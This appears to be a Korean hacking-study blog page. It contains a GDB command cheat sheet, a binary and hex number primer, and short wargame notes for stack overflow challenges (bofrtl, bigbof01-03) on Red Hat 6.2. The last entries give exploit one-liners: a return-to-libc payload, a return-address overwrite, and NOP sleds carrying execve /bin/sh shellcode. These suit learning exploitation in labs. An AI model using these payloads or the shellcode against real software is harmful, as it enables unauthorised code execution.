GDB (The GNU Project Debugger) command


GDB (The GNU Project Debugger)



 GDB는 컴퓨터 프로그램의 실행을 추적하고 수정할 수 있는 많은 기능들을 제공한다. 사용자는 프로그램의 내부 변수들의 값을 주시하거나 변경할 수 있으며, 프로그램의 일반적인 실행 과정과 독립적으로 함수를 호출할 수도 있다.

시스템 해킹에서 gdb를 사용할 경우 분석해야 하는 바이너리는 디버깅을 위해 컴파일 된 바이너리가 아니기 때문에 변수 이름이나 메인 함수 같은 디버깅을 위한 심볼이 없는 경우가 많다. 그렇기 때문에 심볼이 있어야만 사용 가능한 명령어들은 제외하고 자주 쓰이는 명령어를 잘 숙지해두는 것이 gdb에 익숙해지는데 도움이 된다.

GDB는 동적 디버거로 대부분의 명령어는 프로그램이 실행된 이후에 가능하다. Run(r)을 이용해 대상 프로그램을 실행시켜 메모리에 로딩한 후 분석을 할 수 있다.


[+] 실행방법
Gdb “프로그램명” 
-c, -p 등의 옵션을 이용해 상황에 따라 실행할 수 있다. (man gdb 참고)


[+] 어셈블리어 코드 보기
Disas func : func 함수의 어셈블리어 코드를 출력한다. 함수 이름을 찾아갈 수 있을 때만가능하다.
밑의 메모리확인 명령에서 x/i $eip를 이용하여 볼 수 있다.


[+] 브레이크 포인트
Break(b) func
Break(b) *func+5
Break(b) *0x8040000
Info break (I b) : 현재 걸려있는 모든 break point를 확인한다
Cl func : func함수에 걸린 브레이크포인트 지우기
Delete(d) : 브레이크포인트 모두 지우기


[+] 진행 명령어
Run(r) : 프로그램을 수행한다.
Run argv[1] argv[2] 형식으로 인자를 전달할 수 있다.
Kill(k) : 프로그램을 종료한다
Si : 다음 인스트럭션(명령어)을 실행하는데 만약 함수라면 함수 안으로 들어간다.
Ni : 다음 인스트럭션(명령어)을 실행한다. 함수 안으로 진입하지 않는다.


[+] 메모리 검사
x/”범위”“출력형식”“범위의단위” “메모리주소 또는 함수명”
범위 : 범위의단위 * 범위byte 출력
출력형식 : x (16진수), s (문자열) , I (명령어)
범위의단위 : b (1byte), h(2byte), w(4byte), g(8byte)
EX)
x/20wx $esp : esp가 가리키는 메모리로부터 높은 주소 쪽으로 4byte20개를 출력다.
x/10i $eip : 현재 eip의 명령어로부터 10줄의 어셈블리어를 출력한다.
x/s 0x8040000 : 0x8040000에서 시작하는 문자열을 출력한다.


[+] 기타
  • 레지스터 상태 확인하기
Info register(I r)
-AT&T 어셈블리어 명령어를 Intel 어셈블리어 명령어로 바꾸기
Set disassembly-flavor intel

  • 특정 메모리에 원하는 값 넣기
Set {타입}”주소 또는 레지스터” = “값”
Set {int}0x8040000 = 123
Set {int}$edx = 123

  • 매 실행 시 특정 명령어 반복하기
Disp/5I $eip : 매 명령마다 eip에서부터 5줄의 어셈블리어 코드를 출력한다.
Disp/4x $esp : 매 명령마다 esp에서부터 16byte의 스택을 출력한다.
Disp는 명령어를 쌓아서 명령 시 원하는 출력이 보기게 할 수 있다.

  • shell 실행하기
!명령어 : !뒤에 shell 명령어를 입력하여 실행할 수 있다.
!ps : 현재 돌고 있는 프로세스를 볼 수 있다.
!cat /proc/$pid/maps : $pid의 프로세스의 전체적인 메모리 상태를 볼 수 있다.


Read more

2진법, 16진법, 데이터의 표현


 진법 변환과 데이터의 표현 



- 2 진수 (binary digit)숫자 0 1만으로 모든 수를 나타내는 방법

10진법
2진법
기호
0
0 + 0 = 0
●●
1
0 + 1 = 1
●○
2
1 + 1 = 10
○●

- 16진수 (hexadecimal digit) - 10진수의 9 다음에 A, B, C, D, E, F까지 6개의 문자를 추가하여 수를 표현하는 방법

10진수
16진수
비트구성(4 bit)
0
0
0 0 0 0
1
1
0 0 0 1
2
2
0 0 1 0
3
3
0 0 1 1
4
4
0 1 0 0
5
5
0 1 0 1
6
6
0 1 1 0
7
7
0 1 1 1
8
8
1 0 0 0
9
9
1 0 0 1
10
A
1 0 1 0
11
B
1 0 1 1
12
C
1 1 0 0
13
D
1 1 0 1
14
E
1 1 1 0
15
F
1 1 1 1

- 컴퓨터의 내부에서는 전압의 고저, 펄스의 유무 등 2진 현상에 의해서 2진수가 표시된다.

- 컴퓨터에 저장되는 데이터의 최소단위는 1 BYTEASCII(7 bit)에 여분으로 1 bit를 더하여 8bit . 1 BYTE는 사람이 인식할 수 있는 문자를 모두 표현할 수 있는 최소단위이다.

- 1 BYTE 8 bit00000000 ~ 11111111의 범위를 갖고 2^8개의 개수를 갖는다. 그리고 16진수 하나의 숫자는 0000(0x00) ~ 1111(0xF) 까지의 범위를 갖고 16진수 숫자 2개를 이용하면 1 BYTE를 완벽히 표현할 수 있다. 1 BYTE16진수로 0x00 ~ 0xFF의 범위를 갖는다.

- HDDRAM에 저장되는 데이터들은 16진수를 이용하여 1 BYTE16진수 숫자 2개로 표현한다.(1 BYTE : 00000000 ~ 11111111 : 0x00 ~ 0xFF)
Read more

bofrtl

bofrtl.c source code
Stack Frame


redhat 6.2
vuln : stack overflow
vuln func : strcpy()
exploit code :

./bofrtl $(python -c 'print "A"*12 + "\xe0\x8a\x05\x40" + "AAAA" + "\x20\xfb\xff\xbf"') | cat
Read more

bigbof03

bigbof03.c source code
Stack Frame
redhat 6.2
vuln : stack overflow
vuln func : strcpy()
exploit code :

print "A"*112 + "\x33\x84\x04\x08"
Read more

bigbof02

Bigbof02.c source code

Stack Frame
Redhat 6.2 
vuln : stack overflow 
vuln func : strcpy() 
24byte shellcode
exploit code : 
print "\x90"*184 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e
\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x2c\xfc\xff\xbf"
Read more

bigbof01

Bigbof.c source code 
Stack Frame
 
Redhat 6.2 
vuln : stack overflow 
vuln func : strcpy() 
24byte shellcode
exploit code : 
print  "\x90"*236+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x28\xfc\xff\xbf"
Read more